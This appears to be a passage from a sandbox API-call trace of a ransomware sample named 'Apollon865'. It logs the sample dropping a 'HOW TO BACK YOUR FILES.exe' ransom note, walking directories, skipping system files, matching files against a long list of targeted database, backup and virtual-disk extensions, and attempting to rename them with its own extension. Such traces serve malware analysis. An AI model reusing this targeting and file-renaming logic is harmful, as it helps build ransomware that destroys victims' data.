	[0039.988] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.988] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.995] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.995] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.995] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.995] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.995] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.995] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.995] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.995] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.995] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.995] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.995] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="Apollon865.txt.exe") returned 1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="temp") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="pagefile.sys") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="boot") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="ids.txt") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="perflogs") returned -1
	[0039.995] lstrcmpiW (lpString1="background.png", lpString2="MSBuild") returned -1
	[0039.996] lstrlenW (lpString="background.png") returned 14
	[0039.996] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned 89
	[0039.996] lstrcpyW (in: lpString1=0x2d3e600, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0039.996] lstrlenW (lpString="background.png") returned 14
	[0039.996] lstrlenW (lpString="Apollon865") returned 10
	[0039.996] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0039.996] lstrlenW (lpString=".dll") returned 4
	[0039.996] lstrcmpiW (lpString1="background.png", lpString2=".dll") returned 1
	[0039.996] lstrlenW (lpString=".lnk") returned 4
	[0039.996] lstrcmpiW (lpString1="background.png", lpString2=".lnk") returned 1
	[0039.996] lstrlenW (lpString=".ini") returned 4
	[0039.996] lstrcmpiW (lpString1="background.png", lpString2=".ini") returned 1
	[0039.996] lstrlenW (lpString=".sys") returned 4
	[0039.996] lstrcmpiW (lpString1="background.png", lpString2=".sys") returned 1
	[0039.996] lstrlenW (lpString="background.png") returned 14
	[0039.996] lstrcpyW (in: lpString1=0x2d3e600, lpString2="behavior.xml" | out: lpString1="behavior.xml") returned="behavior.xml"
	[0039.996] lstrlenW (lpString="behavior.xml") returned 12
	[0039.996] lstrlenW (lpString="Apollon865") returned 10
	[0039.996] lstrcmpiW (lpString1="havior.xml", lpString2="Apollon865") returned 1
	[0039.996] lstrlenW (lpString=".dll") returned 4
	[0039.996] lstrcmpiW (lpString1="behavior.xml", lpString2=".dll") returned 1
	[0039.996] lstrlenW (lpString=".lnk") returned 4
	[0039.996] lstrcmpiW (lpString1="behavior.xml", lpString2=".lnk") returned 1
	[0039.996] lstrlenW (lpString=".ini") returned 4
	[0039.996] lstrcmpiW (lpString1="behavior.xml", lpString2=".ini") returned 1
	[0039.996] lstrlenW (lpString=".sys") returned 4
	[0039.996] lstrcmpiW (lpString1="behavior.xml", lpString2=".sys") returned 1
	[0039.996] lstrlenW (lpString="behavior.xml") returned 12
	[0039.996] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.Apollon865") returned 111
	[0039.997] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.apollon865"), dwFlags=0x1) returned 0
	[0039.998] GetLastError () returned 0x5
	[0039.998] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml MoveFileEx error 5\r\n") returned 129
	[0039.998] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml MoveFileEx error 5\r\n") returned 129
	[0039.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0039.998] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xda8
	[0039.998] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x81, lpOverlapped=0x0) returned 1
	[0039.999] CloseHandle (hObject=0x14c) returned 1
	[0039.999] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.999] CloseHandle (hObject=0x0) returned 0
	[0040.000] CloseHandle (hObject=0x0) returned 0
	[0040.000] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="Apollon865.txt.exe") returned 1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2=".") returned 1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="..") returned 1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="windows") returned -1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="bootmgr") returned 1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="temp") returned -1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="pagefile.sys") returned -1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="boot") returned 1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="ids.txt") returned -1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="ntuser.dat") returned -1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="perflogs") returned -1
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2="MSBuild") returned -1
	[0040.000] lstrlenW (lpString="device.png") returned 10
	[0040.000] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned 100
	[0040.000] lstrcpyW (in: lpString1=0x2d3e600, lpString2="device.png" | out: lpString1="device.png") returned="device.png"
	[0040.000] lstrlenW (lpString="device.png") returned 10
	[0040.000] lstrlenW (lpString="Apollon865") returned 10
	[0040.000] lstrlenW (lpString=".dll") returned 4
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2=".dll") returned 1
	[0040.000] lstrlenW (lpString=".lnk") returned 4
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2=".lnk") returned 1
	[0040.000] lstrlenW (lpString=".ini") returned 4
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2=".ini") returned 1
	[0040.000] lstrlenW (lpString=".sys") returned 4
	[0040.000] lstrcmpiW (lpString1="device.png", lpString2=".sys") returned 1
	[0040.000] lstrlenW (lpString="device.png") returned 10
	[0040.000] lstrlenW (lpString="bak") returned 3
	[0040.000] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0040.000] lstrlenW (lpString="ba_") returned 3
	[0040.000] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0040.000] lstrlenW (lpString="dbb") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0040.001] lstrlenW (lpString="vmdk") returned 4
	[0040.001] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0040.001] lstrlenW (lpString="rar") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0040.001] lstrlenW (lpString="zip") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0040.001] lstrlenW (lpString="tgz") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0040.001] lstrlenW (lpString="vbox") returned 4
	[0040.001] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0040.001] lstrlenW (lpString="vdi") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0040.001] lstrlenW (lpString="vhd") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0040.001] lstrlenW (lpString="vhdx") returned 4
	[0040.001] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0040.001] lstrlenW (lpString="avhd") returned 4
	[0040.001] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0040.001] lstrlenW (lpString="db") returned 2
	[0040.001] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0040.001] lstrlenW (lpString="db2") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0040.001] lstrlenW (lpString="db3") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0040.001] lstrlenW (lpString="dbf") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0040.001] lstrlenW (lpString="mdf") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0040.001] lstrlenW (lpString="mdb") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0040.001] lstrlenW (lpString="sql") returned 3
	[0040.001] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0040.001] lstrlenW (lpString="sqlite") returned 6
	[0040.001] lstrcmpiW (lpString1="ce.png", lpString2="sqlite") returned -1
	[0040.001] lstrlenW (lpString="sqlite3") returned 7
	[0040.001] lstrcmpiW (lpString1="ice.png", lpString2="sqlite3") returned -1
	[0040.002] lstrlenW (lpString="sqlitedb") returned 8
	[0040.002] lstrcmpiW (lpString1="vice.png", lpString2="sqlitedb") returned 1
	[0040.002] lstrlenW (lpString="xml") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0040.002] lstrlenW (lpString="$er") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0040.002] lstrlenW (lpString="4dd") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0040.002] lstrlenW (lpString="4dl") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0040.002] lstrlenW (lpString="^^^") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0040.002] lstrlenW (lpString="abs") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0040.002] lstrlenW (lpString="abx") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0040.002] lstrlenW (lpString="accdb") returned 5
	[0040.002] lstrcmpiW (lpString1="e.png", lpString2="accdb") returned 1
	[0040.002] lstrlenW (lpString="accdc") returned 5
	[0040.002] lstrcmpiW (lpString1="e.png", lpString2="accdc") returned 1
	[0040.002] lstrlenW (lpString="accde") returned 5
	[0040.002] lstrcmpiW (lpString1="e.png", lpString2="accde") returned 1
	[0040.002] lstrlenW (lpString="accdr") returned 5
	[0040.002] lstrcmpiW (lpString1="e.png", lpString2="accdr") returned 1
	[0040.002] lstrlenW (lpString="accdt") returned 5
	[0040.002] lstrcmpiW (lpString1="e.png", lpString2="accdt") returned 1
	[0040.002] lstrlenW (lpString="accdw") returned 5
	[0040.002] lstrcmpiW (lpString1="e.png", lpString2="accdw") returned 1
	[0040.002] lstrlenW (lpString="accft") returned 5
	[0040.002] lstrcmpiW (lpString1="e.png", lpString2="accft") returned 1
	[0040.002] lstrlenW (lpString="adb") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0040.002] lstrlenW (lpString="adb") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0040.002] lstrlenW (lpString="ade") returned 3
	[0040.002] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0040.002] lstrlenW (lpString="adf") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0040.003] lstrlenW (lpString="adn") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0040.003] lstrlenW (lpString="adp") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0040.003] lstrlenW (lpString="alf") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0040.003] lstrlenW (lpString="ask") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0040.003] lstrlenW (lpString="btr") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0040.003] lstrlenW (lpString="cat") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0040.003] lstrlenW (lpString="cdb") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0040.003] lstrlenW (lpString="ckp") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0040.003] lstrlenW (lpString="cma") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0040.003] lstrlenW (lpString="cpd") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0040.003] lstrlenW (lpString="dacpac") returned 6
	[0040.003] lstrcmpiW (lpString1="ce.png", lpString2="dacpac") returned -1
	[0040.003] lstrlenW (lpString="dad") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0040.003] lstrlenW (lpString="dadiagrams") returned 10
	[0040.003] lstrlenW (lpString="daschema") returned 8
	[0040.003] lstrcmpiW (lpString1="vice.png", lpString2="daschema") returned 1
	[0040.003] lstrlenW (lpString="db-journal") returned 10
	[0040.003] lstrlenW (lpString="db-shm") returned 6
	[0040.003] lstrcmpiW (lpString1="ce.png", lpString2="db-shm") returned -1
	[0040.003] lstrlenW (lpString="db-wal") returned 6
	[0040.003] lstrcmpiW (lpString1="ce.png", lpString2="db-wal") returned -1
	[0040.003] lstrlenW (lpString="dbc") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0040.003] lstrlenW (lpString="dbs") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0040.003] lstrlenW (lpString="dbt") returned 3
	[0040.003] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0040.004] lstrlenW (lpString="dbv") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0040.004] lstrlenW (lpString="dbx") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0040.004] lstrlenW (lpString="dcb") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0040.004] lstrlenW (lpString="dct") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0040.004] lstrlenW (lpString="dcx") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0040.004] lstrlenW (lpString="ddl") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0040.004] lstrlenW (lpString="dlis") returned 4
	[0040.004] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0040.004] lstrlenW (lpString="dp1") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0040.004] lstrlenW (lpString="dqy") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0040.004] lstrlenW (lpString="dsk") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0040.004] lstrlenW (lpString="dsn") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0040.004] lstrlenW (lpString="dtsx") returned 4
	[0040.004] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0040.004] lstrlenW (lpString="dxl") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0040.004] lstrlenW (lpString="eco") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0040.004] lstrlenW (lpString="ecx") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0040.004] lstrlenW (lpString="edb") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0040.004] lstrlenW (lpString="epim") returned 4
	[0040.004] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0040.004] lstrlenW (lpString="fcd") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0040.004] lstrlenW (lpString="fdb") returned 3
	[0040.004] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0040.005] lstrlenW (lpString="fic") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0040.005] lstrlenW (lpString="flexolibrary") returned 12
	[0040.005] lstrlenW (lpString="fm5") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0040.005] lstrlenW (lpString="fmp") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0040.005] lstrlenW (lpString="fmp12") returned 5
	[0040.005] lstrcmpiW (lpString1="e.png", lpString2="fmp12") returned -1
	[0040.005] lstrlenW (lpString="fmpsl") returned 5
	[0040.005] lstrcmpiW (lpString1="e.png", lpString2="fmpsl") returned -1
	[0040.005] lstrlenW (lpString="fol") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0040.005] lstrlenW (lpString="fp3") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0040.005] lstrlenW (lpString="fp4") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0040.005] lstrlenW (lpString="fp5") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0040.005] lstrlenW (lpString="fp7") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0040.005] lstrlenW (lpString="fpt") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0040.005] lstrlenW (lpString="frm") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0040.005] lstrlenW (lpString="gdb") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0040.005] lstrlenW (lpString="gdb") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0040.005] lstrlenW (lpString="grdb") returned 4
	[0040.005] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0040.005] lstrlenW (lpString="gwi") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0040.005] lstrlenW (lpString="hdb") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0040.005] lstrlenW (lpString="his") returned 3
	[0040.005] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0040.006] lstrlenW (lpString="ib") returned 2
	[0040.006] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0040.006] lstrlenW (lpString="idb") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0040.006] lstrlenW (lpString="ihx") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0040.006] lstrlenW (lpString="itdb") returned 4
	[0040.006] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0040.006] lstrlenW (lpString="itw") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0040.006] lstrlenW (lpString="jet") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0040.006] lstrlenW (lpString="jtx") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0040.006] lstrlenW (lpString="kdb") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0040.006] lstrlenW (lpString="kexi") returned 4
	[0040.006] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0040.006] lstrlenW (lpString="kexic") returned 5
	[0040.006] lstrcmpiW (lpString1="e.png", lpString2="kexic") returned -1
	[0040.006] lstrlenW (lpString="kexis") returned 5
	[0040.006] lstrcmpiW (lpString1="e.png", lpString2="kexis") returned -1
	[0040.006] lstrlenW (lpString="lgc") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0040.006] lstrlenW (lpString="lwx") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0040.006] lstrlenW (lpString="maf") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0040.006] lstrlenW (lpString="maq") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0040.006] lstrlenW (lpString="mar") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0040.006] lstrlenW (lpString="marshal") returned 7
	[0040.006] lstrcmpiW (lpString1="ice.png", lpString2="marshal") returned -1
	[0040.006] lstrlenW (lpString="mas") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0040.006] lstrlenW (lpString="mav") returned 3
	[0040.006] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0040.007] lstrlenW (lpString="maw") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0040.007] lstrlenW (lpString="mdbhtml") returned 7
	[0040.007] lstrcmpiW (lpString1="ice.png", lpString2="mdbhtml") returned -1
	[0040.007] lstrlenW (lpString="mdn") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0040.007] lstrlenW (lpString="mdt") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0040.007] lstrlenW (lpString="mfd") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0040.007] lstrlenW (lpString="mpd") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0040.007] lstrlenW (lpString="mrg") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0040.007] lstrlenW (lpString="mud") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0040.007] lstrlenW (lpString="mwb") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0040.007] lstrlenW (lpString="myd") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0040.007] lstrlenW (lpString="ndf") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0040.007] lstrlenW (lpString="nnt") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0040.007] lstrlenW (lpString="nrmlib") returned 6
	[0040.007] lstrcmpiW (lpString1="ce.png", lpString2="nrmlib") returned -1
	[0040.007] lstrlenW (lpString="ns2") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0040.007] lstrlenW (lpString="ns3") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0040.007] lstrlenW (lpString="ns4") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0040.007] lstrlenW (lpString="nsf") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0040.007] lstrlenW (lpString="nv") returned 2
	[0040.007] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0040.007] lstrlenW (lpString="nv2") returned 3
	[0040.007] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0040.008] lstrlenW (lpString="nwdb") returned 4
	[0040.008] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0040.008] lstrlenW (lpString="nyf") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0040.008] lstrlenW (lpString="odb") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0040.008] lstrlenW (lpString="odb") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0040.008] lstrlenW (lpString="oqy") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0040.008] lstrlenW (lpString="ora") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
